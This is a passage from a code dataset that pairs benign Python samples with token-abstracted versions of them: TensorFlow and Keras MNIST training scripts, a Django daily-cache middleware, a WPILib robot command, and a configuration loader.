grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n",
"<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,905 |
5b440484c5d7f066c54837c2812967a0ff360399
|
from datetime import date
from django.conf import settings
from django.utils.decorators import decorator_from_middleware_with_args
from django.views.decorators.cache import cache_page
from django.middleware.cache import CacheMiddleware
lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache='eregs_longterm_cache')
class DailyCacheMiddleware(CacheMiddleware):
"""Like the cache middleware, but always expires at midnight"""
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(
cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache_alias='eregs_longterm_cache')
|
[
"from datetime import date\n\nfrom django.conf import settings\nfrom django.utils.decorators import decorator_from_middleware_with_args\nfrom django.views.decorators.cache import cache_page\nfrom django.middleware.cache import CacheMiddleware\n\n\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n",
"from datetime import date\nfrom django.conf import settings\nfrom django.utils.decorators import decorator_from_middleware_with_args\nfrom django.views.decorators.cache import cache_page\nfrom django.middleware.cache import CacheMiddleware\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n",
"<import token>\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n",
"<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\n<assignment token>\n",
"<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\n<assignment token>\n",
"<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n <function token>\n\n\n<assignment token>\n",
"<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n <function token>\n <function token>\n\n\n<assignment token>\n",
"<import token>\n<assignment token>\n<class token>\n<assignment token>\n"
] | false |
9,906 |
f73faabe955e3ae05039e58ebabe5c012e080f38
|
import time
import math
from wpilib import SmartDashboard
from wpilib.command import Command
import robotmap
import subsystems
class TankDriveResetEncoders(Command):
def __init__(self):
super().__init__('TankDriveTurnToHeading')
self.requires(subsystems.driveline)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
subsystems.driveline.resetEncoders()
print("CMD TankDriveResetEncoders: Reset Completed")
def isFinished(self):
return True
|
[
"import time\nimport math\n\nfrom wpilib import SmartDashboard\nfrom wpilib.command import Command\n\nimport robotmap\nimport subsystems\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print(\"CMD TankDriveResetEncoders: Reset Completed\")\n\n def isFinished(self):\n return True\n\n",
"import time\nimport math\nfrom wpilib import SmartDashboard\nfrom wpilib.command import Command\nimport robotmap\nimport subsystems\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n\n def isFinished(self):\n return True\n",
"<import token>\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n\n def isFinished(self):\n return True\n",
"<import token>\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n <function token>\n",
"<import token>\n\n\nclass TankDriveResetEncoders(Command):\n <function token>\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n <function token>\n",
"<import token>\n\n\nclass TankDriveResetEncoders(Command):\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,907 |
263d2fe43cf8747f20fd51897ba003c9c4cb4280
|
"""
Configuration management.
Environment must be set before use.
Call .get() to obtain configuration variable. If the variable does not exist
in the set environment, then
"""
CONFIG_KEY = "config_class"
ENV = {}
class EMPTY:
"""
Signifies that a default value was not set. Should trigger an error if
default is set to EMPTY and an attribute does not exist.
"""
pass
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = "No such config variable {}"
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
# List of config modules available
self.config_modules = set([
i.strip(".py")
for i in listdir(self.config_path)
if ".py" in i and i != "__init__.py"
])
if name not in self.config_modules:
err = "Config environment {} does not exist".format(name)
raise AttributeError(err)
if self.fallback:
# Fallback configuration module.
self.base = import_module("illume.config.base")
# Desired configuration module.
self.module = import_module("illume.config.{}".format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
def setenv(name, fallback=True):
"""Set configuration environment."""
if CONFIG_KEY in ENV:
raise AttributeError("Config environment already set.")
config_class = Config(name, fallback)
ENV[CONFIG_KEY] = config_class
def get(name, default=EMPTY):
"""Get configuration variable."""
config_class = ENV.get(CONFIG_KEY, None)
if config_class is None:
raise AttributeError("Config environment not set.")
return config_class.get(name, default)
|
[
"\"\"\"\nConfiguration management.\n\nEnvironment must be set before use.\n\nCall .get() to obtain configuration variable. If the variable does not exist\nin the set environment, then\n\"\"\"\n\n\nCONFIG_KEY = \"config_class\"\nENV = {}\n\n\nclass EMPTY:\n\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n\n pass\n\n\nclass Config:\n\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n\n no_config_err = \"No such config variable {}\"\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n\n # List of config modules available\n self.config_modules = set([\n i.strip(\".py\")\n for i in listdir(self.config_path)\n if \".py\" in i and i != \"__init__.py\"\n ])\n\n if name not in self.config_modules:\n err = \"Config environment {} does not exist\".format(name)\n\n raise AttributeError(err)\n\n if self.fallback:\n # Fallback configuration module.\n self.base = import_module(\"illume.config.base\")\n\n # Desired configuration module.\n self.module = import_module(\"illume.config.{}\".format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError(\"Config environment already set.\")\n\n config_class = Config(name, fallback)\n\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n\n if config_class is None:\n raise AttributeError(\"Config environment not set.\")\n\n return config_class.get(name, default)\n",
"<docstring token>\nCONFIG_KEY = 'config_class'\nENV = {}\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError('Config environment already set.')\n config_class = Config(name, fallback)\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n",
"<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError('Config environment already set.')\n config_class = Config(name, fallback)\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n",
"<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n",
"<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n <docstring token>\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n <function token>\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n <function token>\n <function token>\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<assignment token>\n<class token>\n<class token>\n<function token>\n<function token>\n"
] | false |
9,908 |
01339324ad1a11aff062e8b27efabf27c97157fb
|
import os
import cv2
import numpy as np
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from numpy import array
import tensorflow as tf
TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'
train_folder_list = array(os.listdir(TRAIN_DIR))
train_input = []
train_label = []
label_encoder = LabelEncoder() # LabelEncoder Class 호출
integer_encoded = label_encoder.fit_transform(train_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(train_folder_list)):
path = os.path.join(TRAIN_DIR, train_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
train_input.append([np.array(img)])
train_label.append([np.array(index)])
train_input = np.reshape(train_input, (-1, 28, 28))
train_label = np.reshape(train_label, (-1,))
train_input = np.array(train_input).astype(np.float32)
train_label = np.array(train_label).astype(np.float32)
np.save("train_data.npy", train_input)
np.save("train_label.npy", train_label)
TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'
test_folder_list = array(os.listdir(TEST_DIR))
test_input = []
test_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(test_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(test_folder_list)):
path = os.path.join(TEST_DIR, test_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
test_input.append([np.array(img)])
test_label.append([np.array(index)])
test_input = np.reshape(test_input, (-1, 28, 28))
test_label = np.reshape(test_label, (-1,))
test_input = np.array(test_input).astype(np.float32)
test_label = np.array(test_label).astype(np.float32)
np.save("test_input.npy", test_input)
np.save("test_label.npy", test_label)
#-*- coding: utf-8 -*-
from keras.datasets import mnist
from keras.utils import np_utils
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
from keras.callbacks import ModelCheckpoint,EarlyStopping
import matplotlib.pyplot as plt
# seed 값 설정
seed = 0
np.random.seed(seed)
tf.set_random_seed(seed)
# 데이터 불러오기
# test_input = []
# test_label = []
#
# train_input = []
# train_label = []
X_train = train_input
Y_train = train_label
X_test = test_input
Y_test = test_label
print('X train shape')
print(X_train.shape)
print('Y train shape')
print(Y_train.shape)
print('X test shape')
print(X_test.shape)
print('y test shape')
print(Y_test.shape)
#(X_train, Y_train), (X_test, Y_test) = mnist.load_data()
X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255
Y_train = np_utils.to_categorical(Y_train)
Y_test = np_utils.to_categorical(Y_test)
# 컨볼루션 신경망의 설정
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu'))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=2))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy',
optimizer='adam',
metrics=['accuracy'])
# 모델 최적화 설정
MODEL_DIR = './model/'
if not os.path.exists(MODEL_DIR):
os.mkdir(MODEL_DIR)
modelpath="./model/{epoch:02d}-{val_loss:.4f}.hdf5"
checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True)
early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)
# 모델의 실행
history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer])
# 테스트 정확도 출력
print("\n Test Accuracy: %.4f" % (model.evaluate(X_test, Y_test)[1]))
# 테스트 셋의 오차
y_vloss = history.history['val_loss']
# 학습셋의 오차
y_loss = history.history['loss']
# 그래프로 표현
x_len = np.arange(len(y_loss))
plt.plot(x_len, y_vloss, marker='.', c="red", label='Testset_loss')
plt.plot(x_len, y_loss, marker='.', c="blue", label='Trainset_loss')
# 그래프에 그리드를 주고 레이블을 표시
plt.legend(loc='upper right')
plt.grid()
plt.xlabel('epoch')
plt.ylabel('loss')
plt.show()
|
[
